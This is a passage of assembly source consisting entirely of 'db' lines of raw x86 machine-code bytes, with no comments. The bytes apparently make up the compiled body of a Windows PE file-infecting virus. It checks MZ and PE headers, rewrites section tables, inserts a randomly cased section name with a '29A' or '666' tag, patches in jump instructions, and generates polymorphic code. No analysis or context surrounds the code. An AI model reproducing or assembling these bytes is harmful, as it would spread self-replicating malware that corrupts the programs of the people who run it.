db 06ah, 028h, 056h, 0ffh, 015h, 0d8h, 04ch, 000h, 000h, 083h, 0c4h, 014h, 03bh,
0c7h
db 074h, 017h, 0ffh, 075h, 008h, 0ffh, 015h, 0d4h, 04ch, 000h, 000h, 056h, 0ffh,
015h
db 00ch, 04dh, 000h, 000h, 059h, 059h, 0e9h, 0ceh, 001h, 000h, 000h, 08bh, 07ch,
033h
db 0e4h, 003h, 07ch, 033h, 0e8h, 02bh, 07eh, 00ch, 057h, 06ah, 001h, 0ffh, 015h,
008h
db 04dh, 000h, 000h, 033h, 0d2h, 059h, 03bh, 0c2h, 059h, 089h, 045h, 0fch, 074h,

0cah
db 08bh, 046h, 00ch, 08bh, 04eh, 008h, 003h, 0c8h, 08bh, 045h, 00ch, 089h, 008h,
08bh
db 046h, 034h, 03bh, 0c8h, 073h, 009h, 02bh, 0c1h, 08bh, 04dh, 010h, 089h, 001h,
0ebh
db 005h, 08bh, 045h, 010h, 089h, 010h, 039h, 055h, 0f8h, 089h, 055h, 00ch, 076h,
050h
db 08dh, 046h, 014h, 089h, 045h, 010h, 0ebh, 003h, 08bh, 045h, 010h, 08bh, 058h,
0f8h
db 06ah, 000h, 0ffh, 030h, 02bh, 05eh, 00ch, 0ffh, 075h, 008h, 003h, 05dh, 0fch,
0ffh
db 015h, 0e0h, 04ch, 000h, 000h, 0ffh, 075h, 008h, 08bh, 045h, 010h, 06ah, 001h,
0ffh
db 070h, 0fch, 053h, 0ffh, 015h, 0d8h, 04ch, 000h, 000h, 083h, 0c4h, 01ch, 085h,
0c0h
db 00fh, 084h, 02bh, 001h, 000h, 000h, 0ffh, 045h, 00ch, 083h, 045h, 010h, 028h,
08bh
db 045h, 00ch, 03bh, 045h, 0f8h, 072h, 0bbh, 08bh, 05dh, 0f4h, 06ah, 000h, 0ffh,
076h
db 014h, 0ffh, 075h, 008h, 0ffh, 015h, 0e0h, 04ch, 000h, 000h, 0ffh, 075h, 008h,
06ah
db 001h, 057h, 0ffh, 075h, 0fch, 0ffh, 015h, 0dch, 04ch, 000h, 000h, 083h, 0c4h,
01ch
db 085h, 0c0h, 00fh, 084h, 0f1h, 000h, 000h, 000h, 080h, 04eh, 027h, 0e0h, 0e8h,
00ch
db 012h, 000h, 000h, 0a8h, 001h, 074h, 004h, 083h, 04eh, 024h, 020h, 0e8h, 0ffh,
011h
db 000h, 000h, 0a8h, 001h, 074h, 004h, 083h, 04eh, 024h, 040h, 0e8h, 0f2h, 011h,
000h
db 000h, 0a8h, 001h, 074h, 004h, 080h, 04eh, 024h, 080h, 089h, 07eh, 010h, 089h,
07eh
db 008h, 0e8h, 0dfh, 011h, 000h, 000h, 0a8h, 001h, 00fh, 084h, 084h, 000h, 000h,
000h
db 0e8h, 0d2h, 011h, 000h, 000h, 0f6h, 0d0h, 024h, 001h, 0c0h, 0e0h, 005h, 00ch,
05ah
db 088h, 006h, 0e8h, 0c2h, 011h, 000h, 000h, 0f6h, 0d0h, 024h, 001h, 0c0h, 0e0h,
005h
db 00ch, 045h, 088h, 046h, 001h, 0e8h, 0b1h, 011h, 000h, 000h, 0f6h, 0d0h, 024h,
001h
db 0c0h, 0e0h, 005h, 00ch, 059h, 088h, 046h, 002h, 0e8h, 0a0h, 011h, 000h, 000h,
0f6h
db 0d0h, 024h, 001h, 0c0h, 0e0h, 005h, 00ch, 041h, 088h, 046h, 003h, 0e8h, 08fh,
011h
db 000h, 000h, 0f6h, 0d0h, 024h, 001h, 0c0h, 0e0h, 005h, 00ch, 056h, 088h, 046h,
004h
db 0e8h, 07eh, 011h, 000h, 000h, 0a8h, 001h, 074h, 01bh, 0c6h, 046h, 005h, 032h,
0c6h
db 046h, 006h, 039h, 0e8h, 06dh, 011h, 000h, 000h, 0f6h, 0d0h, 024h, 001h, 0c0h,
0e0h
db 005h, 00ch, 041h, 088h, 046h, 007h, 0ebh, 00ch, 0c6h, 046h, 005h, 036h, 0c6h,
046h
db 006h, 036h, 0c6h, 046h, 007h, 036h, 06ah, 000h, 0ffh, 075h, 0f0h, 0ffh, 075h,
008h
db 0ffh, 015h, 0e0h, 04ch, 000h, 000h, 08dh, 043h, 0d8h, 050h, 08dh, 046h, 028h,
050h
db 0e8h, 0b0h, 000h, 000h, 000h, 0ffh, 075h, 008h, 06ah, 001h, 053h, 056h, 0ffh,
015h
db 0dch, 04ch, 000h, 000h, 083h, 0c4h, 024h, 085h, 0c0h, 075h, 020h, 0ffh, 075h,
008h
db 0ffh, 015h, 0d4h, 04ch, 000h, 000h, 056h, 0ffh, 015h, 00ch, 04dh, 000h, 000h,
0ffh
db 075h, 0fch, 0ffh, 015h, 00ch, 04dh, 000h, 000h, 083h, 0c4h, 00ch, 033h, 0c0h,
0ebh
db 077h, 08bh, 085h, 0f0h, 0feh, 0ffh, 0ffh, 089h, 0bdh, 0d4h, 0feh, 0ffh, 0ffh,
089h
db 0bdh, 0d8h, 0feh, 0ffh, 0ffh, 08bh, 04eh, 010h, 003h, 04eh, 00ch, 06ah, 000h,
0ffh
db 075h, 0ech, 066h, 0c7h, 085h, 0beh, 0feh, 0ffh, 0ffh, 001h, 000h, 0ffh, 075h,

008h
db 08dh, 04ch, 001h, 0ffh, 048h, 0f7h, 0d0h, 023h, 0c8h, 089h, 08dh, 008h, 0ffh,
0ffh
db 0ffh, 0ffh, 015h, 0e0h, 04ch, 000h, 000h, 0ffh, 075h, 008h, 08dh, 085h, 0b8h,
0feh
db 0ffh, 0ffh, 06ah, 001h, 068h, 0f8h, 000h, 000h, 000h, 050h, 0ffh, 015h, 0dch,
04ch
db 000h, 000h, 056h, 0ffh, 015h, 00ch, 04dh, 000h, 000h, 0ffh, 075h, 0fch, 0ffh,
015h
db 00ch, 04dh, 000h, 000h, 083h, 0c4h, 024h, 06ah, 001h, 05eh, 0ffh, 075h, 008h,
0ffh
db 015h, 0d4h, 04ch, 000h, 000h, 059h, 08bh, 0c6h, 05fh, 05eh, 05bh, 0c9h, 0c3h,
08bh
db 04ch, 024h, 008h, 085h, 0c9h, 076h, 016h, 08bh, 0d1h, 057h, 08bh, 07ch, 024h,
008h
db 033h, 0c0h, 0c1h, 0e9h, 002h, 0f3h, 0abh, 08bh, 0cah, 083h, 0e1h, 003h, 0f3h,
0aah
db 05fh, 0c3h, 055h, 08bh, 0ech, 081h, 0ech, 044h, 001h, 000h, 000h, 053h, 056h,
057h
db 068h, 074h, 014h, 000h, 000h, 0ffh, 075h, 008h, 0ffh, 015h, 0d0h, 04ch, 000h,
000h
db 08bh, 0d8h, 059h, 085h, 0dbh, 059h, 00fh, 084h, 0fbh, 000h, 000h, 000h, 053h,
06ah
db 001h, 08dh, 045h, 0b4h, 06ah, 040h, 050h, 0ffh, 015h, 0d8h, 04ch, 000h, 000h,
083h
db 0c4h, 010h, 085h, 0c0h, 075h, 00ch, 053h, 0ffh, 015h, 0d4h, 04ch, 000h, 000h,
0e9h
db 0d8h, 000h, 000h, 000h, 06ah, 000h, 0ffh, 075h, 0f0h, 053h, 0ffh, 015h, 0e0h,
04ch
db 000h, 000h, 053h, 06ah, 001h, 08dh, 085h, 0bch, 0feh, 0ffh, 0ffh, 068h, 0f8h,
000h
db 000h, 000h, 050h, 0ffh, 015h, 0d8h, 04ch, 000h, 000h, 083h, 0c4h, 01ch, 085h,
0c0h
db 074h, 0cch, 00fh, 0b7h, 0bdh, 0c2h, 0feh, 0ffh, 0ffh, 089h, 07dh, 0f8h, 08dh,
034h
db 0bfh, 0c1h, 0e6h, 003h, 056h, 06ah, 001h, 0ffh, 015h, 008h, 04dh, 000h, 000h,
059h
db 089h, 045h, 0fch, 059h, 085h, 0c0h, 053h, 074h, 0aah, 0ffh, 015h, 0e8h, 04ch,
000h
db 000h, 053h, 057h, 06ah, 028h, 089h, 045h, 0f4h, 0ffh, 075h, 0fch, 0ffh, 015h,
0d8h
db 04ch, 000h, 000h, 083h, 0c4h, 014h, 03bh, 0c7h, 074h, 007h, 033h, 0f6h, 0e9h,
0ech
db 000h, 000h, 000h, 08bh, 085h, 0f8h, 0feh, 0ffh, 0ffh, 08bh, 04dh, 00ch, 06ah,
000h
db 08dh, 07ch, 008h, 0ffh, 048h, 0f7h, 0d0h, 023h, 0f8h, 08bh, 045h, 0fch, 003h,
0f0h
db 08bh, 046h, 0ech, 003h, 046h, 0e8h, 050h, 053h, 0ffh, 015h, 0e0h, 04ch, 000h,
000h
db 053h, 0ffh, 015h, 0e8h, 04ch, 000h, 000h, 089h, 045h, 00ch, 08dh, 047h, 0ffh,
06ah
db 001h, 050h, 053h, 0ffh, 015h, 0e0h, 04ch, 000h, 000h, 080h, 065h, 00bh, 000h,
053h
db 06ah, 001h, 08dh, 045h, 00bh, 06ah, 001h, 050h, 0ffh, 015h, 0dch, 04ch, 000h,
000h
db 083h, 0c4h, 02ch, 085h, 0c0h, 075h, 019h, 053h, 0ffh, 015h, 0d4h, 04ch, 000h,
000h
db 0ffh, 075h, 0fch, 0ffh, 015h, 00ch, 04dh, 000h, 000h, 059h, 059h, 033h, 0c0h,
0e9h
db 08fh, 000h, 000h, 000h, 06ah, 000h, 0ffh, 075h, 0f4h, 053h, 0ffh, 015h, 0e0h,
04ch
db 000h, 000h, 001h, 07eh, 0e8h, 053h, 0ffh, 075h, 0f8h, 001h, 07eh, 0e0h, 06ah,
028h
db 0ffh, 075h, 0fch, 0ffh, 015h, 0dch, 04ch, 000h, 000h, 083h, 0c4h, 01ch, 03bh,
045h
db 0f8h, 00fh, 085h, 05bh, 0ffh, 0ffh, 0ffh, 001h, 0bdh, 0d8h, 0feh, 0ffh, 0ffh,
001h
db 0bdh, 0dch, 0feh, 0ffh, 0ffh, 08bh, 04eh, 0e4h, 08bh, 085h, 0f4h, 0feh, 0ffh,

0ffh
db 003h, 04eh, 0e8h, 06ah, 000h, 0ffh, 075h, 0f0h, 08dh, 04ch, 001h, 0ffh, 048h,
0f7h
db 0d0h, 023h, 0c8h, 053h, 089h, 08dh, 00ch, 0ffh, 0ffh, 0ffh, 0ffh, 015h, 0e0h,
04ch
db 000h, 000h, 053h, 06ah, 001h, 08dh, 085h, 0bch, 0feh, 0ffh, 0ffh, 068h, 0f8h,
000h
db 000h, 000h, 050h, 0ffh, 015h, 0dch, 04ch, 000h, 000h, 08bh, 075h, 00ch, 083h,
0c4h
db 01ch, 053h, 0ffh, 015h, 0d4h, 04ch, 000h, 000h, 0ffh, 075h, 0fch, 0ffh, 015h,
00ch
db 04dh, 000h, 000h, 059h, 08bh, 0c6h, 059h, 05fh, 05eh, 05bh, 0c9h, 0c3h, 055h,
08bh
db 0ech, 081h, 0ech, 008h, 009h, 000h, 000h, 053h, 057h, 068h, 074h, 014h, 000h,
000h
db 0ffh, 075h, 008h, 0ffh, 015h, 0d0h, 04ch, 000h, 000h, 08bh, 0f8h, 033h, 0dbh,
059h
db 03bh, 0fbh, 059h, 075h, 007h, 033h, 0c0h, 0e9h, 08dh, 000h, 000h, 000h, 057h,
06ah
db 001h, 08dh, 085h, 0f8h, 0f6h, 0ffh, 0ffh, 06ah, 040h, 050h, 0ffh, 015h, 0d8h,
04ch
db 000h, 000h, 083h, 0c4h, 010h, 085h, 0c0h, 075h, 008h, 057h, 0ffh, 015h, 0d4h,
04ch
db 000h, 000h, 059h, 056h, 053h, 0ffh, 0b5h, 034h, 0f7h, 0ffh, 0ffh, 057h, 0ffh,
015h
db 0e0h, 04ch, 000h, 000h, 057h, 0beh, 0f8h, 000h, 000h, 000h, 06ah, 001h, 08dh,
085h
db 038h, 0f7h, 0ffh, 0ffh, 056h, 050h, 0ffh, 015h, 0d8h, 04ch, 000h, 000h, 083h,
0c4h
db 01ch, 085h, 0c0h, 074h, 035h, 053h, 0ffh, 0b5h, 034h, 0f7h, 0ffh, 0ffh, 057h,
0ffh
db 015h, 0e0h, 04ch, 000h, 000h, 057h, 06ah, 001h, 08dh, 085h, 038h, 0f7h, 0ffh,
0ffh
db 056h, 050h, 089h, 09dh, 0dch, 0f7h, 0ffh, 0ffh, 089h, 09dh, 0d8h, 0f7h, 0ffh,
0ffh
db 0ffh, 015h, 0dch, 04ch, 000h, 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 074h, 003h,
06ah
db 001h, 05bh, 057h, 0ffh, 015h, 0d4h, 04ch, 000h, 000h, 059h, 08bh, 0c3h, 05eh,
05fh
db 05bh, 0c9h, 0c3h, 055h, 08bh, 0ech, 081h, 0ech, 008h, 009h, 000h, 000h, 056h,
068h
db 074h, 014h, 000h, 000h, 0ffh, 075h, 008h, 0ffh, 015h, 0d0h, 04ch, 000h, 000h,
08bh
db 0f0h, 059h, 085h, 0f6h, 059h, 074h, 06dh, 056h, 06ah, 001h, 08dh, 085h, 0f8h,
0f6h
db 0ffh, 0ffh, 06ah, 040h, 050h, 0ffh, 015h, 0d8h, 04ch, 000h, 000h, 083h, 0c4h,
010h
db 085h, 0c0h, 075h, 008h, 056h, 0ffh, 015h, 0d4h, 04ch, 000h, 000h, 059h, 066h,
081h
db 0bdh, 0f8h, 0f6h, 0ffh, 0ffh, 05ah, 04dh, 074h, 00eh, 066h, 081h, 0bdh, 0f8h,
0f6h
db 0ffh, 0ffh, 04dh, 05ah, 074h, 003h, 056h, 0ebh, 02ch, 06ah, 000h, 0ffh, 0b5h,
034h
db 0f7h, 0ffh, 0ffh, 056h, 0ffh, 015h, 0e0h, 04ch, 000h, 000h, 056h, 06ah, 001h,
08dh
db 085h, 038h, 0f7h, 0ffh, 0ffh, 068h, 0f8h, 000h, 000h, 000h, 050h, 0ffh, 015h,
0d8h
db 04ch, 000h, 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 056h, 075h, 00ch, 0ffh, 015h,
0d4h
db 04ch, 000h, 000h, 059h, 033h, 0c0h, 05eh, 0c9h, 0c3h, 0ffh, 015h, 0d4h, 04ch,
000h
db 000h, 081h, 0bdh, 038h, 0f7h, 0ffh, 0ffh, 050h, 045h, 000h, 000h, 059h, 075h,
0e8h
db 066h, 083h, 0bdh, 03eh, 0f7h, 0ffh, 0ffh, 001h, 074h, 0deh, 066h, 083h, 0bdh,
094h
db 0f7h, 0ffh, 0ffh, 001h, 074h, 0d4h, 0f6h, 085h, 04fh, 0f7h, 0ffh, 0ffh, 010h,
075h
db 0cbh, 066h, 081h, 0bdh, 03ch, 0f7h, 0ffh, 0ffh, 04ch, 001h, 075h, 0c0h, 06ah,

001h
db 058h, 0ebh, 0bdh, 055h, 08bh, 0ech, 081h, 0ech, 018h, 009h, 000h, 000h, 053h,
056h
db 057h, 033h, 0dbh, 06ah, 014h, 06ah, 00ah, 089h, 05dh, 0f4h, 089h, 05dh, 0f8h,
0e8h
db 080h, 00dh, 000h, 000h, 0ffh, 075h, 010h, 0c1h, 0e0h, 00ah, 001h, 045h, 014h,
06ah
db 001h, 0ffh, 015h, 008h, 04dh, 000h, 000h, 08bh, 0f0h, 083h, 0c4h, 010h, 03bh,
0f3h
db 00fh, 084h, 045h, 001h, 000h, 000h, 033h, 0ffh, 039h, 05dh, 010h, 076h, 011h,
08bh
db 04dh, 00ch, 02bh, 0ceh, 08ah, 014h, 001h, 047h, 088h, 010h, 040h, 03bh, 07dh,
010h
db 072h, 0f4h, 08bh, 045h, 018h, 06ah, 014h, 06ah, 00ah, 089h, 05dh, 00ch, 089h,
01ch
db 006h, 08bh, 045h, 010h, 089h, 045h, 0fch, 0e8h, 080h, 00dh, 000h, 000h, 059h,
089h
db 045h, 018h, 059h, 0e8h, 0abh, 00ch, 000h, 000h, 0a8h, 03fh, 075h, 00eh, 06ah,
064h
db 06ah, 032h, 0e8h, 069h, 00dh, 000h, 000h, 059h, 089h, 045h, 018h, 059h, 039h,
05dh
db 018h, 076h, 04dh, 08dh, 045h, 0f0h, 050h, 0ffh, 075h, 0fch, 056h, 0e8h, 02eh,
0e5h
db 0ffh, 0ffh, 056h, 08bh, 0f8h, 0ffh, 015h, 00ch, 04dh, 000h, 000h, 083h, 0c4h,
010h
db 03bh, 0fbh, 00fh, 084h, 0d3h, 000h, 000h, 000h, 08dh, 045h, 0fch, 050h, 0ffh,
075h
db 0f0h, 057h, 0e8h, 00dh, 0e5h, 0ffh, 0ffh, 057h, 08bh, 0f0h, 0ffh, 015h, 00ch,
04dh
db 000h, 000h, 083h, 0c4h, 010h, 03bh, 0f3h, 00fh, 084h, 0b2h, 000h, 000h, 000h,
0ffh
db 045h, 00ch, 08bh, 045h, 00ch, 03bh, 045h, 018h, 072h, 0b3h, 08bh, 045h, 0fch,
089h
db 075h, 00ch, 089h, 045h, 010h, 0e8h, 039h, 00ch, 000h, 000h, 0a8h, 03fh, 075h,
013h
db 08dh, 045h, 010h, 050h, 0ffh, 075h, 010h, 056h, 0e8h, 0bfh, 0e5h, 0ffh, 0ffh,
083h
db 0c4h, 00ch, 089h, 045h, 00ch, 08dh, 045h, 0f8h, 050h, 08dh, 045h, 0f4h, 050h,
0ffh
db 075h, 008h, 0e8h, 06dh, 0f8h, 0ffh, 0ffh, 083h, 0c4h, 00ch, 085h, 0c0h, 075h,
00bh
db 0ffh, 075h, 00ch, 0ffh, 015h, 00ch, 04dh, 000h, 000h, 0ebh, 05fh, 08bh, 045h,
010h
db 08bh, 04dh, 014h, 003h, 0c1h, 050h, 0ffh, 075h, 008h, 0e8h, 086h, 0fbh, 0ffh,
0ffh
db 08bh, 0f0h, 059h, 03bh, 0f3h, 059h, 074h, 0dch, 068h, 074h, 014h, 000h, 000h,
0ffh
db 075h, 008h, 0ffh, 015h, 0d0h, 04ch, 000h, 000h, 08bh, 0f8h, 059h, 03bh, 0fbh,
059h
db 074h, 0c6h, 053h, 056h, 057h, 0ffh, 015h, 0e0h, 04ch, 000h, 000h, 057h, 06ah,
001h
db 0ffh, 075h, 010h, 0ffh, 075h, 00ch, 0ffh, 015h, 0dch, 04ch, 000h, 000h, 083h,
0c4h
db 01ch, 085h, 0c0h, 075h, 019h, 0ffh, 075h, 00ch, 0ffh, 015h, 00ch, 04dh, 000h,
000h
db 057h, 0ffh, 015h, 0d4h, 04ch, 000h, 000h, 059h, 059h, 033h, 0c0h, 0e9h, 0b5h,
000h
db 000h, 000h, 0ffh, 075h, 014h, 06ah, 001h, 0ffh, 015h, 008h, 04dh, 000h, 000h,
08bh
db 0d8h, 059h, 085h, 0dbh, 059h, 074h, 020h, 0ffh, 075h, 014h, 053h, 0e8h, 08ch,
00ch
db 000h, 000h, 057h, 06ah, 001h, 0ffh, 075h, 014h, 053h, 0ffh, 015h, 0dch, 04ch,
000h
db 000h, 053h, 0ffh, 015h, 00ch, 04dh, 000h, 000h, 083h, 0c4h, 01ch, 057h, 0ffh,
015h
db 0d4h, 04ch, 000h, 000h, 0ffh, 075h, 00ch, 0ffh, 015h, 00ch, 04dh, 000h, 000h,
08dh
db 085h, 0e8h, 0f6h, 0ffh, 0ffh, 050h, 0ffh, 075h, 008h, 0e8h, 078h, 0f6h, 0ffh,

0ffh
db 08dh, 085h, 0e8h, 0f6h, 0ffh, 0ffh, 056h, 050h, 0e8h, 019h, 0f7h, 0ffh, 0ffh,
08bh
db 0f8h, 08bh, 045h, 010h, 003h, 0c6h, 050h, 08dh, 085h, 0e8h, 0f6h, 0ffh, 0ffh,
050h
db 0e8h, 005h, 0f7h, 0ffh, 0ffh, 08bh, 0d8h, 08dh, 045h, 00ch, 050h, 08bh, 045h,
010h
db 003h, 0f0h, 08dh, 085h, 0e8h, 0f6h, 0ffh, 0ffh, 056h, 057h, 050h, 0ffh, 075h,
008h
db 0e8h, 039h, 001h, 000h, 000h, 08bh, 0f0h, 083h, 0c4h, 034h, 085h, 0f6h, 074h,
01bh
db 083h, 07dh, 0f8h, 000h, 074h, 015h, 0ffh, 075h, 0f8h, 0ffh, 075h, 0f4h, 053h,
0ffh
db 075h, 00ch, 0ffh, 075h, 008h, 0e8h, 00ah, 000h, 000h, 000h, 083h, 0c4h, 014h,
08bh
db 0c6h, 05fh, 05eh, 05bh, 0c9h, 0c3h, 055h, 08bh, 0ech, 081h, 0ech, 00ch, 009h,
000h
db 000h, 056h, 08dh, 085h, 0f4h, 0f6h, 0ffh, 0ffh, 057h, 050h, 0ffh, 075h, 008h,
0e8h
db 0f6h, 0f5h, 0ffh, 0ffh, 08bh, 075h, 018h, 059h, 081h, 0feh, 0f4h, 001h, 000h,
000h
db 059h, 072h, 01fh, 08bh, 045h, 014h, 056h, 02bh, 045h, 00ch, 06ah, 001h, 083h,
0e8h
db 005h, 089h, 045h, 0fch, 0ffh, 015h, 008h, 04dh, 000h, 000h, 08bh, 0f8h, 033h,
0c0h
db 059h, 03bh, 0f8h, 059h, 075h, 007h, 033h, 0c0h, 0e9h, 0bdh, 000h, 000h, 000h,
083h
db 0c6h, 0fbh, 053h, 0d1h, 0eeh, 056h, 057h, 068h, 0ffh, 000h, 000h, 000h, 050h,
050h
db 050h, 06ah, 007h, 0e8h, 0f1h, 0e4h, 0ffh, 0ffh, 08bh, 0f0h, 08bh, 045h, 010h,
068h
db 074h, 014h, 000h, 000h, 0c6h, 004h, 03eh, 0e9h, 046h, 0ffh, 075h, 008h, 02bh,
0c6h
db 02bh, 045h, 014h, 040h, 089h, 004h, 03eh, 083h, 0c6h, 004h, 0ffh, 015h, 0d0h,
04ch
db 000h, 000h, 08bh, 0d8h, 083h, 0c4h, 024h, 085h, 0dbh, 075h, 004h, 033h, 0f6h,
0ebh
db 06ah, 06ah, 000h, 08dh, 085h, 0f4h, 0f6h, 0ffh, 0ffh, 0ffh, 075h, 014h, 050h,
0e8h
db 056h, 0f6h, 0ffh, 0ffh, 059h, 059h, 050h, 053h, 0ffh, 015h, 0e0h, 04ch, 000h,
000h
db 053h, 056h, 06ah, 001h, 057h, 0ffh, 015h, 0dch, 04ch, 000h, 000h, 083h, 0c4h,
01ch
db 03bh, 0c6h, 074h, 004h, 033h, 0f6h, 0ebh, 031h, 08bh, 045h, 00ch, 06ah, 000h,
040h
db 050h, 08dh, 085h, 0f4h, 0f6h, 0ffh, 0ffh, 050h, 0e8h, 023h, 0f6h, 0ffh, 0ffh,
059h
db 059h, 050h, 053h, 0ffh, 015h, 0e0h, 04ch, 000h, 000h, 053h, 06ah, 001h, 05eh,
08dh
db 045h, 0fch, 056h, 06ah, 004h, 050h, 0ffh, 015h, 0dch, 04ch, 000h, 000h, 083h,
0c4h
db 01ch, 053h, 0ffh, 015h, 0d4h, 04ch, 000h, 000h, 059h, 057h, 0ffh, 015h, 00ch,
04dh
db 000h, 000h, 059h, 08bh, 0c6h, 05bh, 05fh, 05eh, 0c9h, 0c3h, 055h, 08bh, 0ech,
083h
db 0ech, 018h, 056h, 08dh, 045h, 0f4h, 057h, 050h, 08bh, 07dh, 00ch, 08dh, 045h,
0f0h
db 050h, 08dh, 045h, 0f8h, 050h, 08dh, 045h, 0ech, 050h, 057h, 0ffh, 075h, 008h,
033h
db 0f6h, 089h, 075h, 0f8h, 089h, 075h, 0f0h, 089h, 075h, 0f4h, 089h, 075h, 0e8h,
089h
db 075h, 0ech, 0e8h, 077h, 002h, 000h, 000h, 083h, 0c4h, 018h, 085h, 0c0h, 074h,
017h
db 068h, 074h, 014h, 000h, 000h, 0ffh, 075h, 008h, 0ffh, 015h, 0d0h, 04ch, 000h,
000h
db 059h, 03bh, 0c6h, 059h, 089h, 045h, 0fch, 075h, 007h, 033h, 0c0h, 0e9h, 04eh,
002h
db 000h, 000h, 0ffh, 075h, 014h, 057h, 0e8h, 04dh, 0f5h, 0ffh, 0ffh, 08bh, 057h,

074h
db 08bh, 04dh, 0f8h, 08bh, 07dh, 010h, 02bh, 0cah, 02bh, 0c1h, 003h, 0d7h, 089h,
045h
db 0e8h, 08bh, 045h, 018h, 068h, 000h, 028h, 000h, 000h, 06ah, 001h, 089h, 055h,
010h
db 089h, 008h, 0ffh, 015h, 008h, 04dh, 000h, 000h, 08bh, 0f8h, 083h, 0c4h, 010h,
03bh
db 0feh, 00fh, 084h, 005h, 002h, 000h, 000h, 053h, 0bbh, 000h, 002h, 000h, 000h,
053h
db 06ah, 001h, 0e8h, 0a9h, 009h, 000h, 000h, 050h, 08dh, 047h, 005h, 050h, 068h,
0ffh
db 000h, 000h, 000h, 056h, 056h, 056h, 06ah, 007h, 0e8h, 08eh, 0e3h, 0ffh, 0ffh,
08bh
db 0f0h, 053h, 083h, 0c6h, 005h, 06ah, 001h, 0c6h, 004h, 03eh, 060h, 046h, 0e8h,
083h
db 009h, 000h, 000h, 050h, 08dh, 004h, 03eh, 050h, 033h, 0c0h, 06ah, 010h, 050h,
050h
db 050h, 06ah, 007h, 0e8h, 069h, 0e3h, 0ffh, 0ffh, 083h, 0c4h, 048h, 003h, 0f0h,
080h
db 00ch, 03eh, 0ffh, 0ffh, 075h, 00ch, 046h, 0ffh, 075h, 008h, 0c6h, 004h, 03eh,
035h
db 046h, 0e8h, 026h, 003h, 000h, 000h, 053h, 089h, 004h, 03eh, 06ah, 001h, 083h,
0c6h
db 004h, 0e8h, 048h, 009h, 000h, 000h, 050h, 08dh, 004h, 03eh, 050h, 033h, 0c0h,
06ah
db 010h, 050h, 050h, 050h, 06ah, 007h, 0e8h, 02eh, 0e3h, 0ffh, 0ffh, 003h, 0f0h,
08bh
db 045h, 010h, 053h, 06ah, 001h, 0c6h, 004h, 03eh, 068h, 089h, 044h, 03eh, 001h,
083h
db 0c6h, 005h, 0e8h, 01dh, 009h, 000h, 000h, 050h, 08dh, 004h, 03eh, 050h, 033h,
0c0h
db 06ah, 010h, 050h, 050h, 050h, 06ah, 007h, 0e8h, 003h, 0e3h, 0ffh, 0ffh, 083h,
0c4h
db 050h, 003h, 0f0h, 053h, 0c6h, 004h, 03eh, 0c3h, 06ah, 001h, 046h, 0e8h, 0f8h,
008h
db 000h, 000h, 050h, 08dh, 004h, 03eh, 050h, 033h, 0c0h, 06ah, 010h, 050h, 050h,
050h
db 06ah, 007h, 0e8h, 0deh, 0e2h, 0ffh, 0ffh, 003h, 0f0h, 06ah, 007h, 06ah, 000h,
0c6h
db 007h, 0e9h, 08dh, 046h, 0fbh, 089h, 047h, 001h, 0e8h, 01fh, 009h, 000h, 000h,
083h
db 0c4h, 02ch, 083h, 0f8h, 004h, 075h, 00dh, 06ah, 007h, 06ah, 000h, 0e8h, 00eh,
009h
db 000h, 000h, 059h, 059h, 0ebh, 0eeh, 004h, 058h, 053h, 088h, 004h, 03eh, 06ah,
001h
db 046h, 0e8h, 0aeh, 008h, 000h, 000h, 050h, 08dh, 004h, 03eh, 050h, 033h, 0c0h,
06ah
db 010h, 050h, 050h, 050h, 06ah, 007h, 0e8h, 094h, 0e2h, 0ffh, 0ffh, 003h, 0f0h,
06ah
db 0feh, 08dh, 004h, 03eh, 050h, 06ah, 010h, 0ffh, 075h, 0f4h, 0ffh, 075h, 0f8h,
06ah
db 004h, 06ah, 000h, 0e8h, 07bh, 0e2h, 0ffh, 0ffh, 083h, 0c4h, 040h, 003h, 0f0h,
053h
db 06ah, 001h, 0e8h, 075h, 008h, 000h, 000h, 050h, 08dh, 004h, 03eh, 050h, 033h,
0c0h
db 06ah, 010h, 050h, 050h, 050h, 06ah, 007h, 0e8h, 05bh, 0e2h, 0ffh, 0ffh, 003h,
0f0h
db 053h, 06ah, 001h, 0c6h, 004h, 03eh, 061h, 046h, 0e8h, 053h, 008h, 000h, 000h,
050h
db 08dh, 004h, 03eh, 050h, 033h, 0c0h, 068h, 0ffh, 000h, 000h, 000h, 050h, 050h,
050h
db 06ah, 007h, 0e8h, 036h, 0e2h, 0ffh, 0ffh, 003h, 0f0h, 083h, 0c4h, 048h, 0c6h,
004h
db 03eh, 068h, 08bh, 045h, 0f0h, 053h, 089h, 044h, 03eh, 001h, 06ah, 001h, 083h,
0c6h
db 005h, 0e8h, 022h, 008h, 000h, 000h, 050h, 08dh, 004h, 03eh, 050h, 033h, 0dbh,
068h
db 0ffh, 000h, 000h, 000h, 053h, 053h, 053h, 06ah, 007h, 0e8h, 005h, 0e2h, 0ffh,

0ffh
db 053h, 003h, 0f0h, 0ffh, 075h, 014h, 0c6h, 004h, 03eh, 0c3h, 0ffh, 075h, 0fch, 0ffh
db 015h, 0e0h, 04ch, 000h, 000h, 0ffh, 075h, 0fch, 046h, 06ah, 001h, 056h, 057h, 0ffh
db 015h, 0dch, 04ch, 000h, 000h, 083h, 0c4h, 040h, 085h, 0c0h, 075h, 004h, 033h, 0f6h
db 0ebh, 025h, 08bh, 045h, 0ech, 053h, 040h, 050h, 0ffh, 075h, 0fch, 0ffh, 015h, 0e0h
db 04ch, 000h, 000h, 0ffh, 075h, 0fch, 08dh, 045h, 0e8h, 06ah, 001h, 05eh, 056h, 06ah
db 004h, 050h, 0ffh, 015h, 0dch, 04ch, 000h, 000h, 083h, 0c4h, 01ch, 057h, 0ffh, 015h
db 00ch, 04dh, 000h, 000h, 059h, 05bh, 0ffh, 075h, 0fch, 0ffh, 015h, 0d4h, 04ch, 000h
db 000h, 059h, 08bh, 0c6h, 05fh, 05eh, 0c9h, 0c3h, 055h, 08bh, 0ech, 083h, 0ech, 034h
db 053h, 056h, 0beh, 010h, 027h, 000h, 000h, 057h, 0c7h, 045h, 0fch, 014h, 000h, 000h
db 000h, 089h, 075h, 0f4h, 0e8h, 008h, 007h, 000h, 000h, 0a8h, 001h, 074h, 003h, 056h
db 0ebh, 002h, 06ah, 008h, 06ah, 002h, 0e8h, 075h, 007h, 000h, 000h, 059h, 089h, 045h
db 0f8h, 059h, 068h, 074h, 014h, 000h, 000h, 0ffh, 075h, 008h, 0ffh, 015h, 0d0h, 04ch
db 000h, 000h, 08bh, 0f0h, 059h, 085h, 0f6h, 059h, 089h, 075h, 008h, 074h, 033h, 08bh
